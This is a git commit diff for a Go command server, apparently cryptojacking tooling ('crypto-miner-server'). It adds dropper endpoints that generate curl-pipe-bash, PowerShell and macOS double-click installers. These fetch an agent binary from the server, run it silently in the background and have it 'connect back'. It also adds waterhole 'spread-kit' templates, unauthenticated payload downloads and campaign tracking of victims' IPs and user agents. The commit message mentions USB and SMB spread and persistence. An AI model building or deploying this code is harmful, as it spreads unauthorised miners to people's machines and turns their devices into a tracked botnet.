feat: Emberwake, Crucible phases, Linux agent, musical dashboard, e2e

Emberwake spread/waterhole UI, campaign DB, spread handler, spread-kit web publisher, and SPREAD_TECHNIQUES doc. Crucible Phase A-C: expanded ops, port-forward matrix, remote dir browser, crucible help/tests.

Linux agent hardening: credential vault, persistence audit, firewall/defender deploy, SMB spread status, CPU stats, screenshots/crypt/file-ops split. Docker compose and agent/server images with e2e validation script and docs.

Musical dashboard: ambient music player, hover SFX, SoundContext/AmbientMusicContext, steampunk polish. Public builds API, dropper handler updates, SessionGate and fleet UX. README and PROBLEMS.md refresh.
This commit is contained in:
AetherForge
2026-06-04 21:53:31 -07:00
parent 8466c7aa9b
commit 1551bd5dad
138 changed files with 7523 additions and 489 deletions

View File

@@ -17,6 +17,9 @@ import (
// GET /get?os=windows — explicit platform: windows | linux | darwin | universal
// GET /install.sh — bash one-liner installer (Linux / macOS)
// GET /install.ps1 — PowerShell one-liner installer (Windows)
// GET /install.command — macOS double-click launcher (curl | bash wrapper)
//
// Query params: ?os=windows|linux|darwin|universal ?pin={build_id} ?c={campaign}
type DropperHandler struct {
db *dbpkg.Database
dataDir string
@@ -63,24 +66,70 @@ func detectPlatform(r *http.Request) string {
return "" // caller will fall back to latest build regardless of platform
}
// ServeGet handles GET /get — serves the latest agent binary for the detected platform.
func (h *DropperHandler) ServeGet(w http.ResponseWriter, r *http.Request) {
platform := detectPlatform(r)
func (h *DropperHandler) logCampaign(r *http.Request, buildID, source string) {
if c := r.URL.Query().Get("c"); c != "" {
_ = h.db.LogCampaignHit(c, buildID, source, clientIP(r), r.UserAgent())
}
}
// Try exact platform match, then fall back to universal, then any.
func dropperQueryParts(r *http.Request) []string {
q := r.URL.Query()
var parts []string
if pin := strings.TrimSpace(q.Get("pin")); pin != "" {
parts = append(parts, "pin="+pin)
}
if c := strings.TrimSpace(q.Get("c")); c != "" {
parts = append(parts, "c="+c)
}
return parts
}
func (h *DropperHandler) querySuffix(r *http.Request) string {
parts := dropperQueryParts(r)
if len(parts) == 0 {
return ""
}
return "?" + strings.Join(parts, "&")
}
func (h *DropperHandler) getExtraQuery(r *http.Request) string {
parts := dropperQueryParts(r)
if len(parts) == 0 {
return ""
}
return "&" + strings.Join(parts, "&")
}
// resolveDropperBuild picks a build from ?pin= or platform heuristics.
func (h *DropperHandler) resolveDropperBuild(r *http.Request) (*models.BuildRecord, string, string) {
if pin := strings.TrimSpace(r.URL.Query().Get("pin")); pin != "" {
b, err := h.db.GetBuild(pin)
if err == nil && b != nil {
path, name := resolveDropperArtifact(h.dataDir, b)
return b, path, name
}
}
platform := detectPlatform(r)
candidates := []string{platform, "universal", ""}
if platform == "" {
candidates = []string{"universal", ""}
}
var buildPath, buildName string
for _, p := range candidates {
b, err := h.db.GetLatestBuildForPlatform(p)
if err == nil && b != nil {
buildPath, buildName = resolveDropperArtifact(h.dataDir, b)
break
path, name := resolveDropperArtifact(h.dataDir, b)
return b, path, name
}
}
return nil, "", ""
}
// ServeGet handles GET /get — serves the latest agent binary for the detected platform.
func (h *DropperHandler) ServeGet(w http.ResponseWriter, r *http.Request) {
b, buildPath, buildName := h.resolveDropperBuild(r)
if b != nil {
h.logCampaign(r, b.ID, "get")
}
if buildPath == "" {
w.Header().Set("Content-Type", "text/plain; charset=utf-8")
w.WriteHeader(http.StatusNotFound)
@@ -96,9 +145,18 @@ func (h *DropperHandler) ServeGet(w http.ResponseWriter, r *http.Request) {
http.ServeFile(w, r, buildPath)
}
func campaignEnvBlock(campaign string) string {
if campaign == "" {
return ""
}
return fmt.Sprintf("export AETHER_CAMPAIGN=%q\nexport AETHER_UTM=%q\n", campaign, campaign)
}
// ServeSh handles GET /install.sh — returns a bash one-liner installer.
func (h *DropperHandler) ServeSh(w http.ResponseWriter, r *http.Request) {
base := h.resolveBase(r)
campaign := strings.TrimSpace(r.URL.Query().Get("c"))
h.logCampaign(r, "", "install.sh")
script := fmt.Sprintf(`#!/bin/sh
# AetherForge agent installer
@@ -109,6 +167,7 @@ set -e
die() { echo "[!] $*" >&2; exit 1; }
%s
OS="$(uname -s | tr '[:upper:]' '[:lower:]')"
ARCH="$(uname -m)"
case "$ARCH" in
@@ -123,7 +182,7 @@ DEST="$TMPDIR/worker"
# Download and verify we got a real file, not a 404 page.
# Note: double-quotes around URL so $OS is expanded by the shell.
HTTP_CODE="$(curl -sL -w "%%{http_code}" -o "$DEST" "%[1]s/get?os=$OS")"
HTTP_CODE="$(curl -sL -w "%%{http_code}" -o "$DEST" "%[1]s/get?os=$OS%[2]s")"
if [ "$HTTP_CODE" != "200" ]; then
cat "$DEST" >&2
die "Server returned HTTP $HTTP_CODE — forge an agent first from the dashboard."
@@ -152,7 +211,7 @@ chmod +x "$DEST"
echo "[*] Launching agent..."
nohup "$DEST" >/dev/null 2>&1 &
echo "[+] Agent started (pid $!) — it will install itself and connect back to the command deck."
`, base)
`, base, h.getExtraQuery(r), campaignEnvBlock(campaign))
w.Header().Set("Content-Type", "text/plain; charset=utf-8")
w.Header().Set("Content-Disposition", `inline; filename="install.sh"`)
@@ -162,16 +221,25 @@ echo "[+] Agent started (pid $!) — it will install itself and connect back to
// ServePs1 handles GET /install.ps1 — returns a PowerShell one-liner installer.
func (h *DropperHandler) ServePs1(w http.ResponseWriter, r *http.Request) {
base := h.resolveBase(r)
campaign := strings.TrimSpace(r.URL.Query().Get("c"))
h.logCampaign(r, "", "install.ps1")
// Build script as a regular string — backtick in Go raw strings conflicts
// with PowerShell's escape character.
bt := "`"
nl := "\r\n"
campaignBlock := ""
if campaign != "" {
campaignBlock = "$env:AETHER_CAMPAIGN = '" + campaign + "'" + nl +
"$env:AETHER_UTM = '" + campaign + "'" + nl + nl
}
script := "# AetherForge dropper" + nl +
"$ErrorActionPreference = 'SilentlyContinue'" + nl +
"$ProgressPreference = 'SilentlyContinue'" + nl + nl +
"$url = '" + base + "/get?os=windows'" + nl +
campaignBlock +
"$url = '" + base + "/get?os=windows" + h.getExtraQuery(r) + "'" + nl +
"$tmp = [System.IO.Path]::Combine($env:TEMP, [System.IO.Path]::GetRandomFileName())" + nl + nl +
"try {" + nl +
" (New-Object Net.WebClient).DownloadFile($url, $tmp)" + nl +
@@ -199,6 +267,25 @@ func (h *DropperHandler) ServePs1(w http.ResponseWriter, r *http.Request) {
fmt.Fprint(w, script)
}
// ServeCommand handles GET /install.command — macOS double-clickable shell script.
func (h *DropperHandler) ServeCommand(w http.ResponseWriter, r *http.Request) {
base := h.resolveBase(r)
suffix := h.querySuffix(r)
campaign := strings.TrimSpace(r.URL.Query().Get("c"))
h.logCampaign(r, "", "install.command")
script := fmt.Sprintf(`#!/bin/bash
# AetherForge macOS launcher — double-click or: curl -sL '%[1]s/install.command' | bash
set -e
%[2]s
curl -sL '%[1]s/install.sh%[3]s' | bash
`, base, campaignEnvBlock(campaign), suffix)
w.Header().Set("Content-Type", "text/plain; charset=utf-8")
w.Header().Set("Content-Disposition", `inline; filename="install.command"`)
fmt.Fprint(w, script)
}
// resolveBase returns the public base URL for script generation, falling back
// to the request's Host header when no public URL is configured.
func (h *DropperHandler) resolveBase(r *http.Request) string {

View File

@@ -77,7 +77,7 @@ func newTestRouter(t *testing.T) (http.Handler, *WSHub, *db.Database, string) {
_ = os.WriteFile(filepath.Join(webRoot, "index.html"), []byte("<html><body>AetherForge</body></html>"), 0644)
dropperHandler := NewDropperHandler(database, dataDir, nil)
return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, nil, nil, webRoot, dataDir, nil, 8989), wsHub, database, dataDir
return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, nil, nil, nil, nil, webRoot, dataDir, nil, 8989), wsHub, database, dataDir
}
func serveAuthed(t *testing.T, router http.Handler, method, path string, body []byte) *httptest.ResponseRecorder {

View File

@@ -0,0 +1,148 @@
package api
import (
"net/http"
"os"
"path/filepath"
"strings"
dbpkg "crypto-miner-server/internal/db"
"crypto-miner-server/internal/models"
"github.com/go-chi/chi/v5"
)
// PublicBuildsConfig supplies public-download policy from server config.
type PublicBuildsConfig struct {
Enabled bool
LatestN int
}
// PublicHandler serves unauthenticated build listing and download endpoints.
type PublicHandler struct {
db *dbpkg.Database
dataDir string
configFn func() PublicBuildsConfig
}
func NewPublicHandler(database *dbpkg.Database, dataDir string, configFn func() PublicBuildsConfig) *PublicHandler {
return &PublicHandler{db: database, dataDir: dataDir, configFn: configFn}
}
type publicBuildDTO struct {
ID string `json:"id"`
WorkerName string `json:"worker_name"`
Platform string `json:"platform"`
FileName string `json:"file_name"`
FileSize int64 `json:"file_size"`
BundleSize int64 `json:"bundle_size"`
DownloadURL string `json:"download_url"`
CreatedAt string `json:"created_at"`
Pinned bool `json:"pinned"`
Public bool `json:"public"`
}
func toPublicBuildDTO(b *models.BuildRecord) publicBuildDTO {
dl := b.DownloadURL
if dl == "" {
dl = "/api/v1/public/download/" + b.ID
} else if !strings.HasPrefix(dl, "/api/v1/public/") {
// Rewrite authenticated artifact path to public when listed
if strings.Contains(dl, "/artifact/") {
parts := strings.Split(dl, "/artifact/")
if len(parts) == 2 {
dl = "/api/v1/public/download/" + b.ID + "/artifact/" + parts[1]
}
} else {
dl = "/api/v1/public/download/" + b.ID
}
}
return publicBuildDTO{
ID: b.ID,
WorkerName: b.WorkerName,
Platform: b.Platform,
FileName: b.FileName,
FileSize: b.FileSize,
BundleSize: b.BundleSize,
DownloadURL: dl,
CreatedAt: b.CreatedAt.Format("2006-01-02T15:04:05Z07:00"),
Pinned: b.Pinned,
Public: b.Public,
}
}
// GET /api/v1/public/builds
func (h *PublicHandler) ListBuilds(w http.ResponseWriter, r *http.Request) {
cfg := h.configFn()
builds, err := h.db.ListPublicBuilds(cfg.Enabled, cfg.LatestN)
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
dtos := make([]publicBuildDTO, 0, len(builds))
for _, b := range builds {
dtos = append(dtos, toPublicBuildDTO(b))
}
writeJSON(w, map[string]interface{}{
"builds": dtos,
"public_builds_enabled": cfg.Enabled,
"latest_n": cfg.LatestN,
})
}
// GET /api/v1/public/download/{id}
// GET /api/v1/public/download/{id}/artifact/{name}
func (h *PublicHandler) Download(w http.ResponseWriter, r *http.Request) {
id := chi.URLParam(r, "id")
if id == "" {
http.Error(w, "build id required", http.StatusBadRequest)
return
}
cfg := h.configFn()
ok, err := h.db.IsBuildPubliclyDownloadable(id, cfg.Enabled, cfg.LatestN)
if err != nil || !ok {
http.Error(w, "build not available for public download", http.StatusNotFound)
return
}
if c := r.URL.Query().Get("c"); c != "" {
_ = h.db.LogCampaignHit(c, id, "public_download", clientIP(r), r.UserAgent())
}
build, err := h.db.GetBuild(id)
if err != nil {
http.Error(w, "build not found", http.StatusNotFound)
return
}
artifactName := chi.URLParam(r, "name")
if artifactName != "" {
path := filepath.Join(h.dataDir, "builds", id, filepath.Base(artifactName))
if _, err := os.Stat(path); err != nil {
http.Error(w, "artifact not found", http.StatusNotFound)
return
}
w.Header().Set("Content-Disposition", `attachment; filename="`+filepath.Base(artifactName)+`"`)
http.ServeFile(w, r, path)
return
}
path, name := resolveDropperArtifact(h.dataDir, build)
if path == "" {
http.Error(w, "artifact missing on disk", http.StatusNotFound)
return
}
w.Header().Set("Content-Disposition", `attachment; filename="`+name+`"`)
http.ServeFile(w, r, path)
}
func clientIP(r *http.Request) string {
ip := r.Header.Get("X-Forwarded-For")
if ip == "" {
ip = r.RemoteAddr
}
if idx := strings.LastIndex(ip, ":"); idx > 0 && strings.Count(ip, ":") == 1 {
ip = ip[:idx]
}
return ip
}

View File

@@ -0,0 +1,90 @@
package api
import (
"encoding/json"
"net/http"
"net/http/httptest"
"os"
"path/filepath"
"testing"
"time"
"crypto-miner-server/internal/db"
"crypto-miner-server/internal/models"
"github.com/go-chi/chi/v5"
)
func TestPublicHandlerListAndDownload(t *testing.T) {
dataDir := t.TempDir()
database, err := db.New(dataDir)
if err != nil {
t.Fatal(err)
}
defer database.Close()
buildID := "pub-build-1"
buildDir := filepath.Join(dataDir, "builds", buildID)
if err := os.MkdirAll(buildDir, 0755); err != nil {
t.Fatal(err)
}
artifact := filepath.Join(buildDir, "worker.exe")
if err := os.WriteFile(artifact, []byte("MZ-fake-exe-content-padded"), 0644); err != nil {
t.Fatal(err)
}
rec := &models.BuildRecord{
ID: buildID, WorkerName: "pub-worker", ServerURL: "http://x", Wallet: "w",
Threads: 1, FileSize: 32, FilePath: artifact, FileName: "worker.exe",
Platform: "windows", CreatedAt: time.Now(), Pinned: true,
}
if err := database.InsertBuild(rec); err != nil {
t.Fatal(err)
}
if err := database.SetPinnedBuild(buildID); err != nil {
t.Fatal(err)
}
h := NewPublicHandler(database, dataDir, func() PublicBuildsConfig {
return PublicBuildsConfig{Enabled: false, LatestN: 3}
})
listReq := httptest.NewRequest(http.MethodGet, "/api/v1/public/builds", nil)
listRec := httptest.NewRecorder()
h.ListBuilds(listRec, listReq)
if listRec.Code != http.StatusOK {
t.Fatalf("list status %d body %s", listRec.Code, listRec.Body.String())
}
var listBody struct {
Builds []publicBuildDTO `json:"builds"`
}
if err := json.Unmarshal(listRec.Body.Bytes(), &listBody); err != nil {
t.Fatal(err)
}
if len(listBody.Builds) == 0 {
t.Fatal("expected pinned build in public list")
}
r := chi.NewRouter()
r.Get("/public/download/{id}", h.Download)
dlReq := httptest.NewRequest(http.MethodGet, "/public/download/"+buildID+"?c=test-camp", nil)
dlRec := httptest.NewRecorder()
r.ServeHTTP(dlRec, dlReq)
if dlRec.Code != http.StatusOK {
t.Fatalf("download status %d", dlRec.Code)
}
hits, err := database.ListCampaignHits(10)
if err != nil {
t.Fatal(err)
}
found := false
for _, hit := range hits {
if hit.Campaign == "test-camp" {
found = true
}
}
if !found {
t.Fatal("expected campaign hit logged for public download")
}
}

View File

@@ -413,7 +413,8 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
// NOTE: build download/artifact routes are intentionally NOT in this list —
// they require fleet-secret or Basic Auth (see isDownload block below).
if path == "/api/v1/health" ||
path == "/get" || path == "/install.sh" || path == "/install.ps1" {
path == "/get" || path == "/install.sh" || path == "/install.ps1" || path == "/install.command" ||
strings.HasPrefix(path, "/api/v1/public/") {
next.ServeHTTP(w, r)
return
}
@@ -490,7 +491,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
})
}
func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, dropperHandler *DropperHandler, pathForgeHandler *builder.PathForgeHandler, pathTracerHandler *PathTracerHandler, webRoot string, dataDir string, publicURLOverride func() string, listenPort int, serverVersion ...string) http.Handler {
func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, dropperHandler *DropperHandler, spreadHandler *SpreadHandler, publicHandler *PublicHandler, pathForgeHandler *builder.PathForgeHandler, pathTracerHandler *PathTracerHandler, webRoot string, dataDir string, publicURLOverride func() string, listenPort int, serverVersion ...string) http.Handler {
ensureUsersLoaded(dataDir)
version := "AetherForge"
@@ -578,6 +579,9 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
// Builds
r.Get("/builds", h.ListBuilds)
r.Put("/builds/{id}/pin", h.PinBuild)
if spreadHandler != nil {
r.Put("/builds/{id}/public", spreadHandler.SetBuildPublic)
}
r.Delete("/builds/pin", h.UnpinAll)
r.Delete("/builds/{id}", h.DeleteBuild)
r.Get("/builds/{id}/download", builderHandler.DownloadBuild)
@@ -591,6 +595,12 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
// Builder
r.Post("/builder/build", builderHandler.ServeHTTP)
r.Post("/builder/estimate", builderHandler.ServeEstimate)
if spreadHandler != nil {
r.Post("/builder/spread-kit-export", spreadHandler.ExportSpreadKit)
r.Get("/emberwake/notes", spreadHandler.GetNotes)
r.Put("/emberwake/notes", spreadHandler.PutNotes)
r.Get("/emberwake/campaigns", spreadHandler.GetCampaigns)
}
// Path Forge: walk a local server path, place launchers next to every file
if pathForgeHandler != nil {
r.Post("/builder/path-forge", pathForgeHandler.ServeHTTP)
@@ -683,6 +693,13 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
r.Post("/agent/heartbeat", aiHandler.HandleHeartbeat)
r.Post("/agent/beacon", wsHub.HandleAgentBeacon)
r.Post("/agent/beacon/result", wsHub.HandleAgentBeaconResult)
// Public builds (also bypass auth in middleware — listed here for chi routing)
if publicHandler != nil {
r.Get("/public/builds", publicHandler.ListBuilds)
r.Get("/public/download/{id}", publicHandler.Download)
r.Get("/public/download/{id}/artifact/{name}", publicHandler.Download)
}
})
// WebSocket
@@ -694,6 +711,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
r.Get("/get", dropperHandler.ServeGet)
r.Get("/install.sh", dropperHandler.ServeSh)
r.Get("/install.ps1", dropperHandler.ServePs1)
r.Get("/install.command", dropperHandler.ServeCommand)
}
// SUPP Seek agent download endpoints — serve agent binaries so launcher scripts

View File

@@ -428,7 +428,7 @@ func TestRouterBuildDownloadAuth(t *testing.T) {
fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{}, dataDir)
builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
blueprintHandler := NewBlueprintHandler(dataDir)
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, NewDropperHandler(database, dataDir, nil), nil, nil, "", dataDir, nil, 8989)
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, NewDropperHandler(database, dataDir, nil), nil, nil, nil, nil, "", dataDir, nil, 8989)
dlURL := "/api/v1/builds/" + buildID + "/download"
@@ -505,7 +505,7 @@ func TestRouterNoWebRootFallback(t *testing.T) {
builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
blueprintHandler := NewBlueprintHandler(dataDir)
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, nil, nil, "", dataDir, nil, 8989)
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, nil, nil, nil, nil, "", dataDir, nil, 8989)
req := httptest.NewRequest(http.MethodGet, "/", nil)
rec := httptest.NewRecorder()

View File

@@ -0,0 +1,219 @@
package api
import (
"archive/zip"
"bytes"
"encoding/json"
"io"
"net/http"
"os"
"path/filepath"
"strings"
"sync"
"time"
dbpkg "crypto-miner-server/internal/db"
"github.com/go-chi/chi/v5"
)
// SpreadHandler covers Emberwake notes, campaign stats, and spread-kit ZIP export.
type SpreadHandler struct {
db *dbpkg.Database
dataDir string
projectRoot string
wsHub *WSHub
notesMu sync.RWMutex
}
func NewSpreadHandler(database *dbpkg.Database, dataDir, projectRoot string, wsHub *WSHub) *SpreadHandler {
return &SpreadHandler{db: database, dataDir: dataDir, projectRoot: projectRoot, wsHub: wsHub}
}
func (h *SpreadHandler) notesPath() string {
return filepath.Join(h.dataDir, "emberwake-notes.json")
}
type emberwakeNotes struct {
Content string `json:"content"`
UpdatedAt string `json:"updated_at"`
UpdatedBy string `json:"updated_by"`
}
func (h *SpreadHandler) readNotes() emberwakeNotes {
h.notesMu.RLock()
defer h.notesMu.RUnlock()
data, err := os.ReadFile(h.notesPath())
if err != nil {
return emberwakeNotes{Content: "", UpdatedAt: "", UpdatedBy: ""}
}
var n emberwakeNotes
if json.Unmarshal(data, &n) != nil {
return emberwakeNotes{}
}
return n
}
func (h *SpreadHandler) writeNotes(n emberwakeNotes) error {
h.notesMu.Lock()
defer h.notesMu.Unlock()
data, err := json.MarshalIndent(n, "", " ")
if err != nil {
return err
}
return os.WriteFile(h.notesPath(), data, 0644)
}
// GET /api/v1/emberwake/notes
func (h *SpreadHandler) GetNotes(w http.ResponseWriter, r *http.Request) {
writeJSON(w, h.readNotes())
}
// PUT /api/v1/emberwake/notes
func (h *SpreadHandler) PutNotes(w http.ResponseWriter, r *http.Request) {
var body struct {
Content string `json:"content"`
}
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
http.Error(w, "invalid JSON", http.StatusBadRequest)
return
}
n := emberwakeNotes{
Content: body.Content,
UpdatedAt: time.Now().UTC().Format(time.RFC3339),
UpdatedBy: AuthUsername(r),
}
if err := h.writeNotes(n); err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
if h.wsHub != nil {
h.wsHub.BroadcastEmberwakeNotes(n)
}
writeJSON(w, n)
}
// GET /api/v1/emberwake/campaigns
func (h *SpreadHandler) GetCampaigns(w http.ResponseWriter, r *http.Request) {
hits, err := h.db.ListCampaignHits(50)
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
if hits == nil {
hits = []dbpkg.CampaignHitSummary{}
}
writeJSON(w, map[string]interface{}{"campaigns": hits})
}
type spreadKitExportRequest struct {
BuildID string `json:"build_id"`
ServerURL string `json:"server_url"`
Campaign string `json:"campaign"`
}
// POST /api/v1/builder/spread-kit-export
func (h *SpreadHandler) ExportSpreadKit(w http.ResponseWriter, r *http.Request) {
var req spreadKitExportRequest
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
http.Error(w, "invalid JSON", http.StatusBadRequest)
return
}
req.BuildID = strings.TrimSpace(req.BuildID)
req.ServerURL = strings.TrimRight(strings.TrimSpace(req.ServerURL), "/")
req.Campaign = strings.TrimSpace(req.Campaign)
if req.ServerURL == "" {
http.Error(w, "server_url required", http.StatusBadRequest)
return
}
templateDir := filepath.Join(h.projectRoot, "spread-kit-web-publisher")
if _, err := os.Stat(templateDir); err != nil {
http.Error(w, "spread-kit-web-publisher templates not found", http.StatusNotFound)
return
}
var qparts []string
if req.BuildID != "" {
qparts = append(qparts, "pin="+req.BuildID)
}
if req.Campaign != "" {
qparts = append(qparts, "c="+req.Campaign)
}
querySuffix := ""
getQuerySuffix := ""
if len(qparts) > 0 {
joined := strings.Join(qparts, "&")
querySuffix = "?" + joined
getQuerySuffix = "&" + joined
}
repl := map[string]string{
"{{SERVER_URL}}": req.ServerURL,
"{{BUILD_ID}}": req.BuildID,
"{{CAMPAIGN}}": req.Campaign,
"{{QUERY_SUFFIX}}": querySuffix,
"{{GET_QUERY_SUFFIX}}": getQuerySuffix,
"{{CAMPAIGN_QUERY}}": querySuffix,
"{{PIN_QUERY}}": "",
}
var buf bytes.Buffer
zw := zip.NewWriter(&buf)
err := filepath.Walk(templateDir, func(path string, info os.FileInfo, err error) error {
if err != nil || info.IsDir() {
return err
}
rel, err := filepath.Rel(templateDir, path)
if err != nil {
return err
}
rel = filepath.ToSlash(rel)
data, err := os.ReadFile(path)
if err != nil {
return err
}
content := string(data)
for k, v := range repl {
content = strings.ReplaceAll(content, k, v)
}
w, err := zw.Create(rel)
if err != nil {
return err
}
_, err = io.WriteString(w, content)
return err
})
if err != nil {
http.Error(w, "zip failed: "+err.Error(), http.StatusInternalServerError)
return
}
if err := zw.Close(); err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
filename := "emberwake-spread-kit.zip"
if req.Campaign != "" {
filename = "emberwake-" + req.Campaign + ".zip"
}
w.Header().Set("Content-Type", "application/zip")
w.Header().Set("Content-Disposition", `attachment; filename="`+filename+`"`)
w.Write(buf.Bytes())
}
// PUT /api/v1/builds/{id}/public
func (h *SpreadHandler) SetBuildPublic(w http.ResponseWriter, r *http.Request) {
id := chi.URLParam(r, "id")
var body struct {
Public bool `json:"public"`
}
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
http.Error(w, "invalid JSON", http.StatusBadRequest)
return
}
if err := h.db.SetBuildPublic(id, body.Public); err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
writeJSON(w, map[string]interface{}{"ok": true, "id": id, "public": body.Public})
}

View File

@@ -27,6 +27,15 @@ func secureStringEqual(a, b string) bool {
return subtle.ConstantTimeCompare([]byte(a), []byte(b)) == 1
}
func coalesceStr(vals ...string) string {
for _, v := range vals {
if strings.TrimSpace(v) != "" {
return strings.TrimSpace(v)
}
}
return ""
}
// checkDashboardWSToken validates dashboard WS upgrade credentials.
// Preferred: ?ticket= from POST /api/v1/auth/ws-ticket (short-lived, one-time).
// Legacy: ?token= btoa("user:pass") with auth-session cache parity (API-D10).
@@ -566,6 +575,8 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
MacAddress string `json:"mac_address,omitempty"`
BuildID string `json:"build_id"`
USBSpread bool `json:"usb_spread"`
Campaign string `json:"campaign"`
UTM string `json:"utm"`
}
if err := json.Unmarshal(msg.Payload, &auth); err != nil {
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
@@ -712,6 +723,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
BuildID: auth.BuildID,
WorkerName: workerName,
USBSpread: auth.USBSpread,
Campaign: coalesceStr(auth.Campaign, auth.UTM),
Capabilities: &caps,
}
@@ -1405,3 +1417,11 @@ func (h *WSHub) BroadcastServerLog(line string) {
Payload: mustMarshal(map[string]string{"line": line}),
})
}
// BroadcastEmberwakeNotes pushes shared Emberwake notes to all dashboard clients.
func (h *WSHub) BroadcastEmberwakeNotes(notes interface{}) {
h.broadcastDashboard(Message{
Type: "emberwake_notes_updated",
Payload: mustMarshal(notes),
})
}

View File

@@ -43,7 +43,7 @@ func (d *Database) scanAgent(row interface {
&a.SharesTotal, &a.SharesGood, &a.SharesBad,
&a.CPUUsagePct, &a.MemoryUsagePct, &a.UptimeSeconds,
&notes, &tagsRaw, &a.Platform, &a.Arch, &a.OSVersion, &a.Hostname, &a.MacAddress,
&a.BuildID, &a.WorkerName, &usbSpread,
&a.BuildID, &a.WorkerName, &usbSpread, &a.Campaign,
&a.GPUHashrate15m, &a.GPUModel, &gpuMinerActive,
)
if err != nil {
@@ -62,7 +62,7 @@ func (d *Database) scanAgent(row interface {
const agentSelectCols = `id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at,
hashrate_15s, hashrate_1m, hashrate_15m, shares_total, shares_good, shares_bad,
cpu_usage_pct, memory_usage_pct, uptime_seconds, notes, tags, platform, arch, os_version, hostname, mac_address,
build_id, worker_name, usb_spread, gpu_hashrate_15m, gpu_model, gpu_miner_active`
build_id, worker_name, usb_spread, campaign, gpu_hashrate_15m, gpu_model, gpu_miner_active`
func (d *Database) UpdateAgentMeta(id, notes string, tags []string) error {
_, err := d.Exec(`UPDATE agents SET notes = ?, tags = ? WHERE id = ?`, notes, encodeTags(tags), id)

View File

@@ -0,0 +1,175 @@
package db
import (
"fmt"
"strings"
"time"
"crypto-miner-server/internal/models"
)
// LogCampaignHit records a dropper or public-download fetch with optional campaign tag.
func (d *Database) LogCampaignHit(campaign, buildID, source, ip, userAgent string) error {
campaign = sanitizeCampaign(campaign)
if campaign == "" {
return nil
}
_, err := d.Exec(
`INSERT INTO campaign_hits (campaign, build_id, source, ip, user_agent, created_at) VALUES (?, ?, ?, ?, ?, ?)`,
campaign, buildID, source, ip, userAgent, time.Now(),
)
return err
}
func sanitizeCampaign(c string) string {
c = strings.TrimSpace(c)
if len(c) > 64 {
c = c[:64]
}
// Allow alphanumeric, dash, underscore, dot
var b strings.Builder
for _, r := range c {
if (r >= 'a' && r <= 'z') || (r >= 'A' && r <= 'Z') || (r >= '0' && r <= '9') || r == '-' || r == '_' || r == '.' {
b.WriteRune(r)
}
}
return b.String()
}
// CampaignHitSummary aggregates hits per campaign for the Emberwake dashboard.
type CampaignHitSummary struct {
Campaign string `json:"campaign"`
Count int `json:"count"`
LastHit string `json:"last_hit"`
}
func (d *Database) ListCampaignHits(limit int) ([]CampaignHitSummary, error) {
if limit <= 0 || limit > 500 {
limit = 100
}
rows, err := d.Query(`
SELECT campaign, COUNT(*) AS cnt, MAX(created_at) AS last_hit
FROM campaign_hits
GROUP BY campaign
ORDER BY cnt DESC
LIMIT ?`, limit)
if err != nil {
return nil, err
}
defer rows.Close()
var out []CampaignHitSummary
for rows.Next() {
var s CampaignHitSummary
var lastRaw string
if err := rows.Scan(&s.Campaign, &s.Count, &lastRaw); err != nil {
return nil, err
}
if t, err := time.Parse("2006-01-02 15:04:05-07:00", lastRaw); err == nil {
s.LastHit = t.Format(time.RFC3339)
} else if t, err := time.Parse(time.RFC3339, lastRaw); err == nil {
s.LastHit = t.Format(time.RFC3339)
} else {
s.LastHit = lastRaw
}
out = append(out, s)
}
return out, nil
}
// ListPublicBuilds returns builds eligible for unauthenticated download.
// When allEnabled, every build is returned; otherwise pinned + public-flagged + latest N.
func (d *Database) ListPublicBuilds(allEnabled bool, latestN int) ([]*models.BuildRecord, error) {
if allEnabled {
return d.ListBuilds(50)
}
if latestN <= 0 {
latestN = 3
}
seen := map[string]bool{}
var out []*models.BuildRecord
add := func(b *models.BuildRecord) {
if b == nil || seen[b.ID] {
return
}
seen[b.ID] = true
out = append(out, b)
}
// Pinned builds
pinnedRows, err := d.Query(`SELECT ` + buildSelectCols + ` FROM builds WHERE pinned = 1 ORDER BY created_at DESC`)
if err == nil {
defer pinnedRows.Close()
for pinnedRows.Next() {
b, err := scanBuild(pinnedRows)
if err == nil {
add(b)
}
}
}
// Operator-marked public
publicRows, err := d.Query(`SELECT ` + buildSelectCols + ` FROM builds WHERE public = 1 ORDER BY created_at DESC`)
if err == nil {
defer publicRows.Close()
for publicRows.Next() {
b, err := scanBuild(publicRows)
if err == nil {
add(b)
}
}
}
// Latest N by created_at
